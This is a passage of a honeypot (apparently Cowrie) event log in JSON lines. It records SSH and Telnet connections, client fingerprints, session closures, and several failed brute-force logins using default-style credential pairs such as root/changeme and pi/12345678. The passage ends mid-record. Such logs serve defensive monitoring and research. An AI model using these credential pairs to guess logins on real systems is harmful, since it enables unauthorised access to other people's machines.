{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:45.396765Z","src_ip":"31.40.204.166","session":"7be4d274549b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:45.521229Z","src_ip":"31.40.204.166","session":"7be4d274549b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"12345678","message":"login attempt [pi/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:46.411931Z","src_ip":"31.40.204.166","session":"7be4d274549b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.19272017478943,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:46.885754Z","src_ip":"152.42.224.71","session":"52100c586c80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:47.598720Z","src_ip":"31.40.204.166","session":"7be4d274549b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":36556,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bb3255ca3d2","protocol":"ssh","message":"New connection: 179.176.210.17:36556 (10.17.0.5:22) [session: 9bb3255ca3d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:49.638502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:49.642758Z","src_ip":"179.176.210.17","session":"9bb3255ca3d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:49.786117Z","src_ip":"179.176.210.17","session":"9bb3255ca3d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcASD123","message":"login attempt [root/zxcASD123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:50.388404Z","src_ip":"179.176.210.17","session":"9bb3255ca3d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.766499519348145,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:50.972789Z","src_ip":"152.42.224.71","session":"df4080a61dd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:51.533814Z","src_ip":"179.176.210.17","session":"9bb3255ca3d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50526,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4486252bf55","protocol":"telnet","message":"New connection: 152.42.224.71:50526 (10.17.0.5:23) [session: f4486252bf55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:51.560429Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":47956,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bcb9527ea4c","protocol":"ssh","message":"New connection: 94.159.98.239:47956 (159.203.135.109:22) [session: 0bcb9527ea4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:54.211774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:54.217443Z","src_ip":"94.159.98.239","session":"0bcb9527ea4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:54.341432Z","src_ip":"94.159.98.239","session":"0bcb9527ea4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":58100,"dst_ip":"10.17.0.5","dst_port":22,"session":"96b6c23dbcef","protocol":"ssh","message":"New connection: 193.37.70.224:58100 (10.17.0.5:22) [session: 96b6c23dbcef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:54.349686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:54.354579Z","src_ip":"193.37.70.224","session":"96b6c23dbcef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:54.447528Z","src_ip":"193.37.70.224","session":"96b6c23dbcef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sam12345","message":"login attempt [root/sam12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:54.728745Z","src_ip":"193.37.70.224","session":"96b6c23dbcef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a654321","message":"login attempt [root/a654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:54.733359Z","src_ip":"94.159.98.239","session":"0bcb9527ea4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50534,"dst_ip":"10.17.0.5","dst_port":23,"session":"70209b5ce8e5","protocol":"telnet","message":"New connection: 152.42.224.71:50534 (10.17.0.5:23) [session: 70209b5ce8e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:55.730517Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:55.827164Z","src_ip":"193.37.70.224","session":"96b6c23dbcef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:55.857961Z","src_ip":"94.159.98.239","session":"0bcb9527ea4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40894,"dst_ip":"159.203.135.109","dst_port":22,"session":"2047d167aa9e","protocol":"ssh","message":"New connection: 31.40.204.166:40894 (159.203.135.109:22) [session: 2047d167aa9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:56.915087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:56.919438Z","src_ip":"31.40.204.166","session":"2047d167aa9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:57.100270Z","src_ip":"31.40.204.166","session":"2047d167aa9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:57.587195Z","src_ip":"31.40.204.166","session":"2047d167aa9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51050,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad37630625a5","protocol":"telnet","message":"New connection: 152.42.224.71:51050 (10.17.0.5:23) [session: ad37630625a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:58.302613Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51054,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ce06c562164","protocol":"telnet","message":"New connection: 152.42.224.71:51054 (10.17.0.5:23) [session: 2ce06c562164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:58.578131Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:58.714841Z","src_ip":"31.40.204.166","session":"2047d167aa9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.78658175468445,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:59.104456Z","src_ip":"152.42.224.71","session":"97e9d5bbfeb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":109.73443794250488,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:01.980079Z","src_ip":"152.42.224.71","session":"e8e1361109ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.881871938705444,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:03.201468Z","src_ip":"152.42.224.71","session":"c353bec3de14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.2231285572052,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:04.176943Z","src_ip":"152.42.224.71","session":"4194d1b6dd76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51058,"dst_ip":"10.17.0.5","dst_port":23,"session":"cad70b215ec4","protocol":"telnet","message":"New connection: 152.42.224.71:51058 (10.17.0.5:23) [session: cad70b215ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:04.603957Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40788,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c606c3148ad","protocol":"ssh","message":"New connection: 31.40.204.166:40788 (159.203.135.109:22) [session: 2c606c3148ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:08.383874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:08.388939Z","src_ip":"31.40.204.166","session":"2c606c3148ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:08.514647Z","src_ip":"31.40.204.166","session":"2c606c3148ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35880,"dst_ip":"10.17.0.5","dst_port":23,"session":"abe3a960802a","protocol":"telnet","message":"New connection: 152.42.224.71:35880 (10.17.0.5:23) [session: abe3a960802a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:08.749249Z"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:08.991323Z","src_ip":"31.40.204.166","session":"2c606c3148ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:10.185682Z","src_ip":"31.40.204.166","session":"2c606c3148ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35890,"dst_ip":"10.17.0.5","dst_port":23,"session":"94e10b6a9545","protocol":"telnet","message":"New connection: 152.42.224.71:35890 (10.17.0.5:23) [session: 94e10b6a9545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:10.985174Z"}
{"eventid":"cowrie.session.closed","duration":28.728881120681763,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:11.403481Z","src_ip":"152.42.224.71","session":"e9e69a0a933c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35898,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1fac1aeee75","protocol":"telnet","message":"New connection: 152.42.224.71:35898 (10.17.0.5:23) [session: f1fac1aeee75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:12.622595Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35914,"dst_ip":"10.17.0.5","dst_port":23,"session":"04d0224b4285","protocol":"telnet","message":"New connection: 152.42.224.71:35914 (10.17.0.5:23) [session: 04d0224b4285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:13.660709Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.218","src_port":37168,"dst_ip":"10.17.0.5","dst_port":22,"session":"a01b7fabc997","protocol":"ssh","message":"New connection: 176.65.132.218:37168 (10.17.0.5:22) [session: a01b7fabc997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:15.621953Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:15.630565Z","src_ip":"176.65.132.218","session":"a01b7fabc997","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.218","src_port":37178,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9a1da0a9915","protocol":"ssh","message":"New connection: 176.65.132.218:37178 (10.17.0.5:22) [session: c9a1da0a9915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:15.810191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:47:15.815323Z","src_ip":"176.65.132.218","session":"c9a1da0a9915","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 